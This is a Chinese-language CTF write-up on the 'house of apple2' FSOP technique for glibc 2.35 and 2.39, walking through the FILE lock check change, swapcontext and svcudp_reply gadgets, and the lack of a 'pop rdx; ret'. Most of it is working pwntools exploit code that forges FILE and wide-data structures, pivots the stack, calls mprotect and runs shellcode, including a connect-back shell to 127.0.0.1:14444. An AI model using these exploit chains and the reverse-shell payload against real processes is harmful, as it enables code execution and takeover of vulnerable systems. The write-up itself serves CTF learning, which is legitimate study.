Contents

glibc2.39 的 hose of apple2

Contents

参考:关于house of apple的学习总结 | ZIKH26’s Blog

==2.35-0ubuntu3.8_amd64==

python

def house_of_apple2(libc: ELF, libc_base: int, data_addr: int):
    # heap addr
    file_addr = data_addr
    widedata_addr = data_addr
    vtable_addr = data_addr
    rop_addr = data_addr + 0xe8

    # libc addr
    libc.address = libc_base
    wide_vtable_addr = libc.sym['_IO_wfile_jumps']
    system_addr = libc.sym['system']
    gadget = libc_base + 0x16a050 + 26 # svcudp_reply

    print("[?] gadget:", hex(gadget))

    # rop chain
    pop_3_ret = libc_base + rop.find_gadget(['pop r12','ret','pop r13','ret','pop 14','ret'])[0]
    leave_ret = libc_base + rop.find_gadget(["ret"])[0]

    data = flat({
        0: b'  sh\x00', # file: _flags
        0x8: 'flag\x00',
        0x18: 0, # widedata: _IO_write_end
        0x20: 0, # file: _IO_write_base
        0x28: 1, # file: _IO_write_ptr
        0x30: 0, # widedata: _IO_buf_base
        0x48: rop_addr, # gadget: rbp
        0x68: gadget,
        0xa0: widedata_addr, # file: _wide_data
        0xc0: 0, # file: _mode
        0xd8: wide_vtable_addr,
        0xe0: vtable_addr,
    }, filler=b"\x00")

    rop = flat({
        0x8: pop_3_ret,
        0x18: rop_addr - 0x8, # rax
        0x20: leave_ret,
    }, filler=b"\x00")

    chain = ROP(libc)
    chain.open(file_addr + 0x8, 0)          # pwntools 自动匹配参数
    chain.read(3, file_addr, 0x100)
    chain.write(1, file_addr, 0x100)

    payload = data + rop + chain.chain()

参考:关于GLibc2.39下的house of apple利用 - rbp - 博客园

这个版本的变化是 FSOP 加上了 lock 的判断:

c

  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      _IO_flockfile (fp); // 这里是等待 lock = 0,然后给 lock 上锁

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)

还有 2.35 的 svcudp_reply 函数控制不了 rsp 了, 只能控制 r12,需要接着跳转到 swapcontext+157。

asm

   0x7ffff7c5815d <swapcontext+157>:    mov    rdx,r12
   0x7ffff7c58160 <swapcontext+160>:    mov    rcx,QWORD PTR [rdx+0xe0]
   0x7ffff7c58167 <swapcontext+167>:    fldenv [rcx]
   0x7ffff7c58169 <swapcontext+169>:    ldmxcsr DWORD PTR [rdx+0x1c0]
   0x7ffff7c58170 <swapcontext+176>:    mov    rsp,QWORD PTR [rdx+0xa0]
   0x7ffff7c58177 <swapcontext+183>:    mov    rbx,QWORD PTR [rdx+0x80]
   0x7ffff7c5817e <swapcontext+190>:    mov    rbp,QWORD PTR [rdx+0x78]
   0x7ffff7c58182 <swapcontext+194>:    mov    r12,QWORD PTR [rdx+0x48]
   0x7ffff7c58186 <swapcontext+198>:    mov    r13,QWORD PTR [rdx+0x50]
   0x7ffff7c5818a <swapcontext+202>:    mov    r14,QWORD PTR [rdx+0x58]
   0x7ffff7c5818e <swapcontext+206>:    mov    r15,QWORD PTR [rdx+0x60]
   0x7ffff7c58192 <swapcontext+210>:    test   DWORD PTR fs:0x48,0x2
   0x7ffff7c5819e <swapcontext+222>:    je     0x7ffff7c58292 <swapcontext+466>

   0x7ffff7c58292 <swapcontext+466>:    mov    rcx,QWORD PTR [rdx+0xa8]
   0x7ffff7c58299 <swapcontext+473>:    push   rcx
   0x7ffff7c5829a <swapcontext+474>:    mov    rdi,QWORD PTR [rdx+0x68]
   0x7ffff7c5829e <swapcontext+478>:    mov    rsi,QWORD PTR [rdx+0x70]
   0x7ffff7c582a2 <swapcontext+482>:    mov    rcx,QWORD PTR [rdx+0x98]
   0x7ffff7c582a9 <swapcontext+489>:    mov    r8,QWORD PTR [rdx+0x28]
   0x7ffff7c582ad <swapcontext+493>:    mov    r9,QWORD PTR [rdx+0x30]
   0x7ffff7c582b1 <swapcontext+497>:    mov    rdx,QWORD PTR [rdx+0x88]
   0x7ffff7c582b8 <swapcontext+504>:    xor    eax,eax
   0x7ffff7c582ba <swapcontext+506>:    ret

此外 2.39 的 libc 里没有 pop rdx; ret,所以要直接在 swapcontext 这段 gadget 里面布置好 rdx,然后直接 mprotect。

Hint

那么我们的利用思路就是这样的 fake_iolist+house of apple 调用链控制 rdi 并调用到 svcudp_reply+29

控制输入[rdi+0 x 48]=>r 12,[r 12+0 x 18]=>rax,[rax+0 x 28]=swapcontext+157

调用到 swapcontext+157–>r 12=>rdx,[rdx+0 xe 0]=>rcx(rcx 要有值,否则运行到 fldenv byte ptr [rcx]会卡住),[rdx+0 xa 0]=>rsp [rdx+0 xc 8]=ret 或者 pop rdi=>rcx(因为有个 push rcx 会抬栈)

[rdx+0 x 68]=>rdi,[rdx+0 x 70]=>rdi,[rdx+0 x 88]=>rdx,然后 ret 到 rsp 上配合 ROP 链完成 orw

原本到这里就结束了,我当时做的时候也是这么想的,结果往下写orw的时候出问题了,2.39的libc里居然没有pop rdx; ret?用pwntools搜索出来的地址的pop rdx没有执行权限,而直接用ROPgadget更是直接搜不出来。。运行完open之后rdx会清零,后面的rw不能控制rdx的话就没法用了,所以没办法,只能用唯一一次控制rdx的效果打mprotect然后写shellcode了。

==2.39-0ubuntu8.4==

python

def house_of_apple2(libc: ELF,libc_base, data_addr: int):

    widedata_addr = data_addr
    vtable_addr = data_addr
    rop_addr = data_addr + 0xe8
    sc_addr = data_addr + 0xe8 + 0xe8

    wide_vtable_addr = libc_base + libc.sym['_IO_wfile_jumps']
    mprotect = libc_base + libc.sym["mprotect"]
    rop = ROP(libc)
    ret = libc_base + rop.find_gadget(["ret"])[0]
    gadget = libc_base + 0x179220 + 29 # svcudp_reply
    gadget2 = libc_base + libc.sym["swapcontext"] + 157

    data = flat({
        0: b'  sh\x00', # file: _flags
        0x8: 'flag\x00',
        0x18: 0, # widedata: _IO_write_end
        0x20: 0, # file: _IO_write_base
        0x28: 1, # file: _IO_write_ptr
        0x30: 0, # widedata: _IO_buf_base
        0x48: rop_addr, # gadget: rbp
        0x68: gadget,
        0x88: data_addr + 0x400,
        0xa0: widedata_addr, # file: _wide_data
        0xc0: 0, # file: _mode
        0xd8: wide_vtable_addr,
        0xe0: vtable_addr,
    }, filler=b"\x00")


    rop = flat({
        0x18: rop_addr, # rax
        0x28: gadget2, # call
        0x68: data_addr - 0x10,  # mprotect: rdi
        0x70: 0x2000, # mprotect: rsi
        0x88: 7, # mprotect: rdx
        0xa0: rop_addr + 0xd0, # rsp
        0xa8: mprotect, # call
        0xc8: ret, # 平衡 push rcx
        0xd0: sc_addr, # shellcode
        0xe0: rop_addr + 8, # rcx
    }, filler=b"\x00")

    # sc = asm(shellcraft.sh())
    sc = asm(shellcraft.connect('127.0.0.1',14444,'ipv4')+shellcraft.dupsh())
    # sc = asm(shellcraft.open("flag") + shellcraft.read('rax', 'rsp', 0x100)+shellcraft.write(1, 'rsp', 'rax'))

    return data + rop + sc